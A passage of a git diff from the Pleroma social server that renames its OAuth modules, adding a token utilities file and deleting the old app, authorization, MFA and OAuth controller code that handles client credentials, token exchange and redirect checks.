token) do + Repo.delete(token) + end +end diff --git a/lib/pleroma/web/o_auth/token/utils.ex b/lib/pleroma/web/o_auth/token/utils.ex new file mode 100644 index 000000000..43aeab6b0 --- /dev/null +++ b/lib/pleroma/web/o_auth/token/utils.ex @@ -0,0 +1,72 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.Token.Utils do + @moduledoc """ + Auxiliary functions for dealing with tokens. + """ + + alias Pleroma.Repo + alias Pleroma.Web.OAuth.App + + @doc "Fetch app by client credentials from request" + @spec fetch_app(Plug.Conn.t()) :: {:ok, App.t()} | {:error, :not_found} + def fetch_app(conn) do + res = + conn + |> fetch_client_credentials() + |> fetch_client + + case res do + %App{} = app -> {:ok, app} + _ -> {:error, :not_found} + end + end + + defp fetch_client({id, secret}) when is_binary(id) and is_binary(secret) do + Repo.get_by(App, client_id: id, client_secret: secret) + end + + defp fetch_client({_id, _secret}), do: nil + + defp fetch_client_credentials(conn) do + # Per RFC 6749, HTTP Basic is preferred to body params + with ["Basic " <> encoded] <- Plug.Conn.get_req_header(conn, "authorization"), + {:ok, decoded} <- Base.decode64(encoded), + [id, secret] <- + Enum.map( + String.split(decoded, ":"), + fn s -> URI.decode_www_form(s) end + ) do + {id, secret} + else + _ -> {conn.params["client_id"], conn.params["client_secret"]} + end + end + + @doc "convert token inserted_at to unix timestamp" + def format_created_at(%{inserted_at: inserted_at} = _token) do + inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> DateTime.to_unix() + end + + @doc false + @spec generate_token(keyword()) :: binary() + def generate_token(opts \\ []) do + opts + |> Keyword.get(:size, 32) + |> :crypto.strong_rand_bytes() + |> Base.url_encode64(padding: false) + end + + # XXX - for whatever reason our token arrives urlencoded, but Plug.Conn should be + # decoding it. Investigate sometime. + def fix_padding(token) do + token + |> URI.decode() + |> Base.url_decode64!(padding: false) + |> Base.url_encode64(padding: false) + end +end diff --git a/lib/pleroma/web/oauth.ex b/lib/pleroma/web/oauth.ex deleted file mode 100644 index 2f1b8708d..000000000 --- a/lib/pleroma/web/oauth.ex +++ /dev/null @@ -1,6 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth do -end diff --git a/lib/pleroma/web/oauth/app.ex b/lib/pleroma/web/oauth/app.ex deleted file mode 100644 index df99472e1..000000000 --- a/lib/pleroma/web/oauth/app.ex +++ /dev/null @@ -1,149 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.App do - use Ecto.Schema - import Ecto.Changeset - import Ecto.Query - alias Pleroma.Repo - - @type t :: %__MODULE__{} - - schema "apps" do - field(:client_name, :string) - field(:redirect_uris, :string) - field(:scopes, {:array, :string}, default: []) - field(:website, :string) - field(:client_id, :string) - field(:client_secret, :string) - field(:trusted, :boolean, default: false) - - has_many(:oauth_authorizations, Pleroma.Web.OAuth.Authorization, on_delete: :delete_all) - has_many(:oauth_tokens, Pleroma.Web.OAuth.Token, on_delete: :delete_all) - - timestamps() - end - - @spec changeset(t(), map()) :: Ecto.Changeset.t() - def changeset(struct, params) do - cast(struct, params, [:client_name, :redirect_uris, :scopes, :website, :trusted]) - end - - @spec register_changeset(t(), map()) :: Ecto.Changeset.t() - def register_changeset(struct, params \\ %{}) do - changeset = - struct - |> changeset(params) - |> validate_required([:client_name, :redirect_uris, :scopes]) - - if changeset.valid? do - changeset - |> put_change( - :client_id, - :crypto.strong_rand_bytes(32) |> Base.url_encode64(padding: false) - ) - |> put_change( - :client_secret, - :crypto.strong_rand_bytes(32) |> Base.url_encode64(padding: false) - ) - else - changeset - end - end - - @spec create(map()) :: {:ok, t()} | {:error, Ecto.Changeset.t()} - def create(params) do - %__MODULE__{} - |> register_changeset(params) - |> Repo.insert() - end - - @spec update(pos_integer(), map()) :: {:ok, t()} | {:error, Ecto.Changeset.t()} - def update(id, params) do - with %__MODULE__{} = app <- Repo.get(__MODULE__, id) do - app - |> changeset(params) - |> Repo.update() - end - end - - @doc """ - Gets app by attrs or create new with attrs. - And updates the scopes if need. - """ - @spec get_or_make(map(), list(String.t())) :: {:ok, t()} | {:error, Ecto.Changeset.t()} - def get_or_make(attrs, scopes) do - with %__MODULE__{} = app <- Repo.get_by(__MODULE__, attrs) do - update_scopes(app, scopes) - else - _e -> - %__MODULE__{} - |> register_changeset(Map.put(attrs, :scopes, scopes)) - |> Repo.insert() - end - end - - defp update_scopes(%__MODULE__{} = app, []), do: {:ok, app} - defp update_scopes(%__MODULE__{scopes: scopes} = app, scopes), do: {:ok, app} - - defp update_scopes(%__MODULE__{} = app, scopes) do - app - |> change(%{scopes: scopes}) - |> Repo.update() - end - - @spec search(map()) :: {:ok, [t()], non_neg_integer()} - def search(params) do - query = from(a in __MODULE__) - - query = - if params[:client_name] do - from(a in query, where: a.client_name == ^params[:client_name]) - else - query - end - - query = - if params[:client_id] do - from(a in query, where: a.client_id == ^params[:client_id]) - else - query - end - - query = - if Map.has_key?(params, :trusted) do - from(a in query, where: a.trusted == ^params[:trusted]) - else - query - end - - query = - from(u in query, - limit: ^params[:page_size], - offset: ^((params[:page] - 1) * params[:page_size]) - ) - - count = Repo.aggregate(__MODULE__, :count, :id) - - {:ok, Repo.all(query), count} - end - - @spec destroy(pos_integer()) :: {:ok, t()} | {:error, Ecto.Changeset.t()} - def destroy(id) do - with %__MODULE__{} = app <- Repo.get(__MODULE__, id) do - Repo.delete(app) - end - end - - @spec errors(Ecto.Changeset.t()) :: map() - def errors(changeset) do - Enum.reduce(changeset.errors, %{}, fn - {:client_name, {error, _}}, acc -> - Map.put(acc, :name, error) - - {key, {error, _}}, acc -> - Map.put(acc, key, error) - end) - end -end diff --git a/lib/pleroma/web/oauth/authorization.ex b/lib/pleroma/web/oauth/authorization.ex deleted file mode 100644 index 268ee5b63..000000000 --- a/lib/pleroma/web/oauth/authorization.ex +++ /dev/null @@ -1,95 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.Authorization do - use Ecto.Schema - - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.OAuth.Authorization - - import Ecto.Changeset - import Ecto.Query - - @type t :: %__MODULE__{} - - schema "oauth_authorizations" do - field(:token, :string) - field(:scopes, {:array, :string}, default: []) - field(:valid_until, :naive_datetime_usec) - field(:used, :boolean, default: false) - belongs_to(:user, User, type: FlakeId.Ecto.CompatType) - belongs_to(:app, App) - - timestamps() - end - - @spec create_authorization(App.t(), User.t() | %{}, [String.t()] | nil) :: - {:ok, Authorization.t()} | {:error, Changeset.t()} - def create_authorization(%App{} = app, %User{} = user, scopes \\ nil) do - %{ - scopes: scopes || app.scopes, - user_id: user.id, - app_id: app.id - } - |> create_changeset() - |> Repo.insert() - end - - @spec create_changeset(map()) :: Changeset.t() - def create_changeset(attrs \\ %{}) do - %Authorization{} - |> cast(attrs, [:user_id, :app_id, :scopes, :valid_until]) - |> validate_required([:app_id, :scopes]) - |> add_token() - |> add_lifetime() - end - - defp add_token(changeset) do - token = :crypto.strong_rand_bytes(32) |> Base.url_encode64(padding: false) - put_change(changeset, :token, token) - end - - defp add_lifetime(changeset) do - put_change(changeset, :valid_until, NaiveDateTime.add(NaiveDateTime.utc_now(), 60 * 10)) - end - - @spec use_changeset(Authtorizatiton.t(), map()) :: Changeset.t() - def use_changeset(%Authorization{} = auth, params) do - auth - |> cast(params, [:used]) - |> validate_required([:used]) - end - - @spec use_token(Authorization.t()) :: - {:ok, Authorization.t()} | {:error, Changeset.t()} | {:error, String.t()} - def use_token(%Authorization{used: false, valid_until: valid_until} = auth) do - if NaiveDateTime.diff(NaiveDateTime.utc_now(), valid_until) < 0 do - Repo.update(use_changeset(auth, %{used: true})) - else - {:error, "token expired"} - end - end - - def use_token(%Authorization{used: true}), do: {:error, "already used"} - - @spec delete_user_authorizations(User.t()) :: {integer(), any()} - def delete_user_authorizations(%User{} = user) do - user - |> delete_by_user_query - |> Repo.delete_all() - end - - def delete_by_user_query(%User{id: user_id}) do - from(a in __MODULE__, where: a.user_id == ^user_id) - end - - @doc "gets auth for app by token" - @spec get_by_token(App.t(), String.t()) :: {:ok, t()} | {:error, :not_found} - def get_by_token(%App{id: app_id} = _app, token) do - from(t in __MODULE__, where: t.app_id == ^app_id and t.token == ^token) - |> Repo.find_resource() - end -end diff --git a/lib/pleroma/web/oauth/fallback_controller.ex b/lib/pleroma/web/oauth/fallback_controller.ex deleted file mode 100644 index a89ced886..000000000 --- a/lib/pleroma/web/oauth/fallback_controller.ex +++ /dev/null @@ -1,32 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.FallbackController do - use Pleroma.Web, :controller - alias Pleroma.Web.OAuth.OAuthController - - def call(conn, {:register, :generic_error}) do - conn - |> put_status(:internal_server_error) - |> put_flash( - :error, - dgettext("errors", "Unknown error, please check the details and try again.") - ) - |> OAuthController.registration_details(conn.params) - end - - def call(conn, {:register, _error}) do - conn - |> put_status(:unauthorized) - |> put_flash(:error, dgettext("errors", "Invalid Username/Password")) - |> OAuthController.registration_details(conn.params) - end - - def call(conn, _error) do - conn - |> put_status(:unauthorized) - |> put_flash(:error, dgettext("errors", "Invalid Username/Password")) - |> OAuthController.authorize(conn.params) - end -end diff --git a/lib/pleroma/web/oauth/mfa_controller.ex b/lib/pleroma/web/oauth/mfa_controller.ex deleted file mode 100644 index f102c93e7..000000000 --- a/lib/pleroma/web/oauth/mfa_controller.ex +++ /dev/null @@ -1,98 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.MFAController do - @moduledoc """ - The model represents api to use Multi Factor authentications. - """ - - use Pleroma.Web, :controller - - alias Pleroma.MFA - alias Pleroma.Web.Auth.TOTPAuthenticator - alias Pleroma.Web.OAuth.MFAView, as: View - alias Pleroma.Web.OAuth.OAuthController - alias Pleroma.Web.OAuth.OAuthView - alias Pleroma.Web.OAuth.Token - - plug(:fetch_session when action in [:show, :verify]) - plug(:fetch_flash when action in [:show, :verify]) - - @doc """ - Display form to input mfa code or recovery code. - """ - def show(conn, %{"mfa_token" => mfa_token} = params) do - template = Map.get(params, "challenge_type", "totp") - - conn - |> put_view(View) - |> render("#{template}.html", %{ - mfa_token: mfa_token, - redirect_uri: params["redirect_uri"], - state: params["state"] - }) - end - - @doc """ - Verification code and continue authorization. - """ - def verify(conn, %{"mfa" => %{"mfa_token" => mfa_token} = mfa_params} = _) do - with {:ok, %{user: user, authorization: auth}} <- MFA.Token.validate(mfa_token), - {:ok, _} <- validates_challenge(user, mfa_params) do - conn - |> OAuthController.after_create_authorization(auth, %{ - "authorization" => %{ - "redirect_uri" => mfa_params["redirect_uri"], - "state" => mfa_params["state"] - } - }) - else - _ -> - conn - |> put_flash(:error, "Two-factor authentication failed.") - |> put_status(:unauthorized) - |> show(mfa_params) - end - end - - @doc """ - Verification second step of MFA (or recovery) and returns access token. - - ## Endpoint - POST /oauth/mfa/challenge - - params: - `client_id` - `client_secret` - `mfa_token` - access token to check second step of mfa - `challenge_type` - 'totp' or 'recovery' - `code` - - """ - def challenge(conn, %{"mfa_token" => mfa_token} = params) do - with {:ok, app} <- Token.Utils.fetch_app(conn), - {:ok, %{user: user, authorization: auth}} <- MFA.Token.validate(mfa_token), - {:ok, _} <- validates_challenge(user, params), - {:ok, token} <- Token.exchange_token(app, auth) do - json(conn, OAuthView.render("token.json", %{user: user, token: token})) - else - _error -> - conn - |> put_status(400) - |> json(%{error: "Invalid code"}) - end - end - - # Verify TOTP Code - defp validates_challenge(user, %{"challenge_type" => "totp", "code" => code} = _) do - TOTPAuthenticator.verify(code, user) - end - - # Verify Recovery Code - defp validates_challenge(user, %{"challenge_type" => "recovery", "code" => code} = _) do - TOTPAuthenticator.verify_recovery_code(user, code) - end - - defp validates_challenge(_, _), do: {:error, :unsupported_challenge_type} -end diff --git a/lib/pleroma/web/oauth/mfa_view.ex b/lib/pleroma/web/oauth/mfa_view.ex deleted file mode 100644 index 5d87db268..000000000 --- a/lib/pleroma/web/oauth/mfa_view.ex +++ /dev/null @@ -1,17 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.MFAView do - use Pleroma.Web, :view - import Phoenix.HTML.Form - alias Pleroma.MFA - - def render("mfa_response.json", %{token: token, user: user}) do - %{ - error: "mfa_required", - mfa_token: token.token, - supported_challenge_types: MFA.supported_methods(user) - } - end -end diff --git a/lib/pleroma/web/oauth/oauth_controller.ex b/lib/pleroma/web/oauth/oauth_controller.ex deleted file mode 100644 index a4152e840..000000000 --- a/lib/pleroma/web/oauth/oauth_controller.ex +++ /dev/null @@ -1,610 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.OAuthController do - use Pleroma.Web, :controller - - alias Pleroma.Helpers.UriHelper - alias Pleroma.Maps - alias Pleroma.MFA - alias Pleroma.Plugs.RateLimiter - alias Pleroma.Registration - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.Auth.Authenticator - alias Pleroma.Web.ControllerHelper - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.OAuth.Authorization - alias Pleroma.Web.OAuth.MFAController - alias Pleroma.Web.OAuth.MFAView - alias Pleroma.Web.OAuth.OAuthView - alias Pleroma.Web.OAuth.Scopes - alias Pleroma.Web.OAuth.Token - alias Pleroma.Web.OAuth.Token.Strategy.RefreshToken - alias Pleroma.Web.OAuth.Token.Strategy.Revoke, as: RevokeToken - - require Logger - - if Pleroma.Config.oauth_consumer_enabled?(), do: plug(Ueberauth) - - plug(:fetch_session) - plug(:fetch_flash) - - plug(:skip_plug, [Pleroma.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug]) - - plug(RateLimiter, [name: :authentication] when action == :create_authorization) - - action_fallback(Pleroma.Web.OAuth.FallbackController) - - @oob_token_redirect_uri "urn:ietf:wg:oauth:2.0:oob" - - # Note: this definition is only called from error-handling methods with `conn.params` as 2nd arg - def authorize(%Plug.Conn{} = conn, %{"authorization" => _} = params) do - {auth_attrs, params} = Map.pop(params, "authorization") - authorize(conn, Map.merge(params, auth_attrs)) - end - - def authorize(%Plug.Conn{assigns: %{token: %Token{}}} = conn, %{"force_login" => _} = params) do - if ControllerHelper.truthy_param?(params["force_login"]) do - do_authorize(conn, params) - else - handle_existing_authorization(conn, params) - end - end - - # Note: the token is set in oauth_plug, but the token and client do not always go together. - # For example, MastodonFE's token is set if user requests with another client, - # after user already authorized to MastodonFE. - # So we have to check client and token. - def authorize( - %Plug.Conn{assigns: %{token: %Token{} = token}} = conn, - %{"client_id" => client_id} = params - ) do - with %Token{} = t <- Repo.get_by(Token, token: token.token) |> Repo.preload(:app), - ^client_id <- t.app.client_id do - handle_existing_authorization(conn, params) - else - _ -> do_authorize(conn, params) - end - end - - def authorize(%Plug.Conn{} = conn, params), do: do_authorize(conn, params) - - defp do_authorize(%Plug.Conn{} = conn, params) do - app = Repo.get_by(App, client_id: params["client_id"]) - available_scopes = (app && app.scopes) || [] - scopes = Scopes.fetch_scopes(params, available_scopes) - - scopes = - if scopes == [] do - available_scopes - else - scopes - end - - # Note: `params` might differ from `conn.params`; use `@params` not `@conn.params` in template - render(conn, Authenticator.auth_template(), %{ - response_type: params["response_type"], - client_id: params["client_id"], - available_scopes: available_scopes, - scopes: scopes, - redirect_uri: params["redirect_uri"], - state: params["state"], - params: params - }) - end - - defp handle_existing_authorization( - %Plug.Conn{assigns: %{token: %Token{} = token}} = conn, - %{"redirect_uri" => @oob_token_redirect_uri} - ) do - render(conn, "oob_token_exists.html", %{token: token}) - end - - defp handle_existing_authorization( - %Plug.Conn{assigns: %{token: %Token{} = token}} = conn, - %{} = params - ) do - app = Repo.preload(token, :app).app - - redirect_uri = - if is_binary(params["redirect_uri"]) do - params["redirect_uri"] - else - default_redirect_uri(app) - end - - if redirect_uri in String.split(app.redirect_uris) do - redirect_uri = redirect_uri(conn, redirect_uri) - url_params = %{access_token: token.token} - url_params = Maps.put_if_present(url_params, :state, params["state"]) - url = UriHelper.modify_uri_params(redirect_uri, url_params) - redirect(conn, external: url) - else - conn - |> put_flash(:error, dgettext("errors", "Unlisted redirect_uri.")) - |> redirect(external: redirect_uri(conn, redirect_uri)) - end - end - - def create_authorization( - %Plug.Conn{} = conn, - %{"authorization" => _} = params, - opts \\ [] - ) do - with {:ok, auth, user} <- do_create_authorization(conn, params, opts[:user]), - {:mfa_required, _, _, false} <- {:mfa_required, user, auth, MFA.require?(user)} do - after_create_authorization(conn, auth, params) - else - error -> - handle_create_authorization_error(conn, error, params) - end - end - - def after_create_authorization(%Plug.Conn{} = conn, %Authorization{} = auth, %{ - "authorization" => %{"redirect_uri" => @oob_token_redirect_uri} - }) do - # Enforcing the view to reuse the template when calling from other controllers - conn - |> put_view(OAuthView) - |> render("oob_authorization_created.html", %{auth: auth}) - end - - def after_create_authorization(%Plug.Conn{} = conn, %Authorization{} = auth, %{ - "authorization" => %{"redirect_uri" => redirect_uri} = auth_attrs - }) do - app = Repo.preload(auth, :app).app - - # An extra safety measure before we redirect (also done in `do_create_authorization/2`) - if redirect_uri in String.split(app.redirect_uris) do - redirect_uri = redirect_uri(conn, redirect_uri) - url_params = %{code: auth.token} - url_params = Maps.put_if_present(url_params, :state, auth_attrs["state"]) - url = UriHelper.modify_uri_params(redirect_uri, url_params) - redirect(conn, external: url) - else - conn - |> put_flash(:error, dgettext("errors", "Unlisted redirect_uri.")) - |> redirect(external: redirect_uri(conn, redirect_uri)) - end - end - - defp handle_create_authorization_error( - %Plug.Conn{} = conn, - {:error, scopes_issue}, - %{"authorization" => _} = params - ) - when scopes_issue in [:unsupported_scopes, :missing_scopes] do - # Per https://github.com/tootsuite/mastodon/blob/ - # 51e154f5e87968d6bb115e053689767ab33e80cd/app/controllers/api/base_controller.rb#L39 - conn - |> put_flash(:error, dgettext("errors", "This action is outside the authorized scopes")) - |> put_status(:unauthorized) - |> authorize(params) - end - - defp handle_create_authorization_error( - %Plug.Conn{} = conn, - {:account_status, :confirmation_pending}, - %{"authorization" => _} = params - ) do - conn - |> put_flash(:error, dgettext("errors", "Your login is missing a confirmed e-mail address")) - |> put_status(:forbidden) - |> authorize(params) - end - - defp handle_create_authorization_error( - %Plug.Conn{} = conn, - {:mfa_required, user, auth, _}, - params - ) do - {:ok, token} = MFA.Token.create(user, auth) - - data = %{ - "mfa_token" => token.token, - "redirect_uri" => params["authorization"]["redirect_uri"], - "state" => params["authorization"]["state"] - } - - MFAController.show(conn, data) - end - - defp handle_create_authorization_error( - %Plug.Conn{} = conn, - {:account_status, :password_reset_pending}, - %{"authorization" => _} = params - ) do - conn - |> put_flash(:error, dgettext("errors", "Password reset is required")) - |> put_status(:forbidden) - |> authorize(params) - end - - defp handle_create_authorization_error( - %Plug.Conn{} = conn, - {:account_status, :deactivated}, - %{"authorization" => _} = params - ) do - conn - |> put_flash(:error, dgettext("errors", "Your account is currently disabled")) - |> put_status(:forbidden) - |> authorize(params) - end - - defp handle_create_authorization_error(%Plug.Conn{} = conn, error, %{"authorization" => _}) do - Authenticator.handle_error(conn, error) - end - - @doc "Renew access_token with refresh_token" - def token_exchange( - %Plug.Conn{} = conn, - %{"grant_type" => "refresh_token", "refresh_token" => token} = _params - ) do - with {:ok, app} <- Token.Utils.fetch_app(conn), - {:ok, %{user: user} = token} <- Token.get_by_refresh_token(app, token), - {:ok, token} <- RefreshToken.grant(token) do - json(conn, OAuthView.render("token.json", %{user: user, token: token})) - else - _error -> render_invalid_credentials_error(conn) - end - end - - def token_exchange(%Plug.Conn{} = conn, %{"grant_type" => "authorization_code"} = params) do - with {:ok, app} <- Token.Utils.fetch_app(conn), - fixed_token = Token.Utils.fix_padding(params["code"]), - {:ok, auth} <- Authorization.get_by_token(app, fixed_token), - %User{} = user <- User.get_cached_by_id(auth.user_id), - {:ok, token} <- Token.exchange_token(app, auth) do - json(conn, OAuthView.render("token.json", %{user: user, token: token})) - else - error -> - handle_token_exchange_error(conn, error) - end - end - - def token_exchange( - %Plug.Conn{} = conn, - %{"grant_type" => "password"} = params - ) do - with {:ok, %User{} = user} <- Authenticator.get_user(conn), - {:ok, app} <- Token.Utils.fetch_app(conn), - requested_scopes <- Scopes.fetch_scopes(params, app.scopes), - {:ok, token} <- login(user, app, requested_scopes) do - json(conn, OAuthView.render("token.json", %{user: user, token: token})) - else - error -> - handle_token_exchange_error(conn, error) - end - end - - def token_exchange( - %Plug.Conn{} = conn, - %{"grant_type" => "password", "name" => name, "password" => _password} = params - ) do - params = - params - |> Map.delete("name") - |> Map.put("username", name) - - token_exchange(conn, params) - end - - def token_exchange(%Plug.Conn{} = conn, %{"grant_type" => "client_credentials"} = _params) do - with {:ok, app} <- Token.Utils.fetch_app(conn), - {:ok, auth} <- Authorization.create_authorization(app, %User{}), - {:ok, token} <- Token.exchange_token(app, auth) do - json(conn, OAuthView.render("token.json", %{token: token})) - else - _error -> - handle_token_exchange_error(conn, :invalid_credentails) - end - end - - # Bad request - def token_exchange(%Plug.Conn{} = conn, params), do: bad_request(conn, params) - - defp handle_token_exchange_error(%Plug.Conn{} = conn, {:mfa_required, user, auth, _}) do - conn - |> put_status(:forbidden) - |> json(build_and_response_mfa_token(user, auth)) - end - - defp handle_token_exchange_error(%Plug.Conn{} = conn, {:account_status, :deactivated}) do - render_error( - conn, - :forbidden, - "Your account is currently disabled", - %{}, - "account_is_disabled" - ) - end - - defp handle_token_exchange_error( - %Plug.Conn{} = conn, - {:account_status, :password_reset_pending} - ) do - render_error( - conn, - :forbidden, - "Password reset is required", - %{}, - "password_reset_required" - ) - end - - defp handle_token_exchange_error(%Plug.Conn{} = conn, {:account_status, :confirmation_pending}) do - render_error( - conn, - :forbidden, - "Your login is missing a confirmed e-mail address", - %{}, - "missing_confirmed_email" - ) - end - - defp handle_token_exchange_error(%Plug.Conn{} = conn, {:account_status, :approval_pending}) do - render_error( - conn, - :forbidden, - "Your account is awaiting approval.", - %{}, - "awaiting_approval" - ) - end - - defp handle_token_exchange_error(%Plug.Conn{} = conn, _error) do - render_invalid_credentials_error(conn) - end - - def token_revoke(%Plug.Conn{} = conn, %{"token" => _token} = params) do - with {:ok, app} <- Token.Utils.fetch_app(conn), - {:ok, _token} <- RevokeToken.revoke(app, params) do - json(conn, %{}) - else - _error -> - # RFC 7009: invalid tokens [in the request] do not cause an error response - json(conn, %{}) - end - end - - def token_revoke(%Plug.Conn{} = conn, params), do: bad_request(conn, params) - - # Response for bad request - defp bad_request(%Plug.Conn{} = conn, _) do - render_error(conn, :internal_server_error, "Bad request") - end - - @doc "Prepares OAuth request to provider for Ueberauth" - def prepare_request(%Plug.Conn{} = conn, %{ - "provider" => provider, - "authorization" => auth_attrs - }) do - scope = - auth_attrs - |> Scopes.fetch_scopes([]) - |> Scopes.to_string() - - state = - auth_attrs - |> Map.delete("scopes") - |> Map.put("scope", scope) - |> Jason.encode!() - - params = - auth_attrs - |> Map.drop(~w(scope scopes client_id redirect_uri)) - |> Map.put("state", state) - - # Handing the request to Ueberauth - redirect(conn, to: o_auth_path(conn, :request, provider, params)) - end - - def request(%Plug.Conn{} = conn, params) do - message = - if params["provider"] do - dgettext("errors", "Unsupported OAuth provider: %{provider}.", - provider: params["provider"] - ) - else - dgettext("errors", "Bad OAuth request.") - end - - conn - |> put_flash(:error, message) - |> redirect(to: "/") - end - - def callback(%Plug.Conn{assigns: %{ueberauth_failure: failure}} = conn, params) do - params = callback_params(params) - messages = for e <- Map.get(failure, :errors, []), do: e.message - message = Enum.join(messages, "; ") - - conn - |> put_flash( - :error, - dgettext("errors", "Failed to authenticate: %{message}.", message: message) - ) - |> redirect(external: redirect_uri(conn, params["redirect_uri"])) - end - - def callback(%Plug.Conn{} = conn, params) do - params = callback_params(params) - - with {:ok, registration} <- Authenticator.get_registration(conn) do - auth_attrs = Map.take(params, ~w(client_id redirect_uri scope scopes state)) - - case Repo.get_assoc(registration, :user) do - {:ok, user} -> - create_authorization(conn, %{"authorization" => auth_attrs}, user: user) - - _ -> - registration_params = - Map.merge(auth_attrs, %{ - "nickname" => Registration.nickname(registration), - "email" => Registration.email(registration) - }) - - conn - |> put_session_registration_id(registration.id) - |> registration_details(%{"authorization" => registration_params}) - end - else - error -> - Logger.debug(inspect(["OAUTH_ERROR", error, conn.assigns])) - - conn - |> put_flash(:error, dgettext("errors", "Failed to set up user account.")) - |> redirect(external: redirect_uri(conn, params["redirect_uri"])) - end - end - - defp callback_params(%{"state" => state} = params) do - Map.merge(params, Jason.decode!(state)) - end - - def registration_details(%Plug.Conn{} = conn, %{"authorization" => auth_attrs}) do - render(conn, "register.html", %{ - client_id: auth_attrs["client_id"], - redirect_uri: auth_attrs["redirect_uri"], - state: auth_attrs["state"], - scopes: Scopes.fetch_scopes(auth_attrs, []), - nickname: auth_attrs["nickname"], - email: auth_attrs["email"] - }) - end - - def register(%Plug.Conn{} = conn, %{"authorization" => _, "op" => "connect"} = params) do - with registration_id when not is_nil(registration_id) <- get_session_registration_id(conn), - %Registration{} = registration <- Repo.get(Registration, registration_id), - {_, {:ok, auth, _user}} <- - {:create_authorization, do_create_authorization(conn, params)}, - %User{} = user <- Repo.preload(auth, :user).user, - {:ok, _updated_registration} <- Registration.bind_to_user(registration, user) do - conn - |> put_session_registration_id(nil) - |> after_create_authorization(auth, params) - else - {:create_authorization, error} -> - {:register, handle_create_authorization_error(conn, error, params)} - - _ -> - {:register, :generic_error} - end - end - - def register(%Plug.Conn{} = conn, %{"authorization" => _, "op" => "register"} = params) do - with registration_id when not is_nil(registration_id) <- get_session_registration_id(conn), - %Registration{} = registration <- Repo.get(Registration, registration_id), - {:ok, user} <- Authenticator.create_from_registration(conn, registration) do - conn - |> put_session_registration_id(nil) - |> create_authorization( - params, - user: user - ) - else - {:error, changeset} -> - message = - Enum.map(changeset.errors, fn {field, {error, _}} -> - "#{field} #{error}" - end) - |> Enum.join("; ") - - message = - String.replace( - message, - "ap_id has already been taken", - "nickname has already been taken" - ) - - conn - |> put_status(:forbidden) - |> put_flash(:error, "Error: #{message}.") - |> registration_details(params) - - _ -> - {:register, :generic_error} - end - end - - defp do_create_authorization(conn, auth_attrs, user \\ nil) - - defp do_create_authorization( - %Plug.Conn{} = conn, - %{ - "authorization" => - %{ - "client_id" => client_id, - "redirect_uri" => redirect_uri - } = auth_attrs - }, - user - ) do - with {_, {:ok, %User{} = user}} <- - {:get_user, (user && {:ok, user}) || Authenticator.get_user(conn)}, - %App{} = app <- Repo.get_by(App, client_id: client_id), - true <- redirect_uri in String.split(app.redirect_uris), - requested_scopes <- Scopes.fetch_scopes(auth_attrs, app.scopes), - {:ok, auth} <- do_create_authorization(user, app, requested_scopes) do - {:ok, auth, user} - end - end - - defp do_create_authorization(%User{} = user, %App{} = app, requested_scopes) - when is_list(requested_scopes) do - with {:account_status, :active} <- {:account_status, User.account_status(user)}, - {:ok, scopes} <- validate_scopes(app, requested_scopes), - {:ok, auth} <- Authorization.create_authorization(app, user, scopes) do - {:ok, auth} - end - end - - # Note: intended to be a private function but opened for AccountController that logs in on signup - @doc "If checks pass, creates authorization and token for given user, app and requested scopes." - def login(%User{} = user, %App{} = app, requested_scopes) when is_list(requested_scopes) do - with {:ok, auth} <- do_create_authorization(user, app, requested_scopes), - {:mfa_required, _, _, false} <- {:mfa_required, user, auth, MFA.require?(user)}, - {:ok, token} <- Token.exchange_token(app, auth) do - {:ok, token} - end - end - - # Special case: Local MastodonFE - defp redirect_uri(%Plug.Conn{} = conn, "."), do: auth_url(conn, :login) - - defp redirect_uri(%Plug.Conn{}, redirect_uri), do: redirect_uri - - defp get_session_registration_id(%Plug.Conn{} = conn), do: get_session(conn, :registration_id) - - defp put_session_registration_id(%Plug.Conn{} = conn, registration_id), - do: put_session(conn, :registration_id, registration_id) - - defp build_and_response_mfa_token(user, auth) do - with {:ok, token} <- MFA.Token.create(user, auth) do - MFAView.render("mfa_response.json", %{token: token, user: user}) - end - end - - @spec validate_scopes(App.t(), map() | list()) :: - {:ok, list()} | {:error, :missing_scopes | :unsupported_scopes} - defp validate_scopes(%App{} = app, params) when is_map(params) do - requested_scopes = Scopes.fetch_scopes(params, app.scopes) - validate_scopes(app, requested_scopes) - end - - defp validate_scopes(%App{} = app, requested_scopes) when is_list(requested_scopes) do - Scopes.validate(requested_scopes, app.scopes) - end - - def default_redirect_uri(%App{} = app) do - app.redirect_uris - |> String.split() - |> Enum.at(0) - end - - defp render_invalid_credentials_error(conn) do - render_error(conn, :bad_request, "Invalid credentials") - end -end diff --git a/lib/pleroma/web/oauth/oauth_view.ex b/lib/pleroma/web/oauth/oauth_view.ex deleted file mode 100644 index f55247ebd..000000000 --- a/lib/pleroma/web/oauth/oauth_view.ex +++ /dev/null @@ -1,30 +0,0 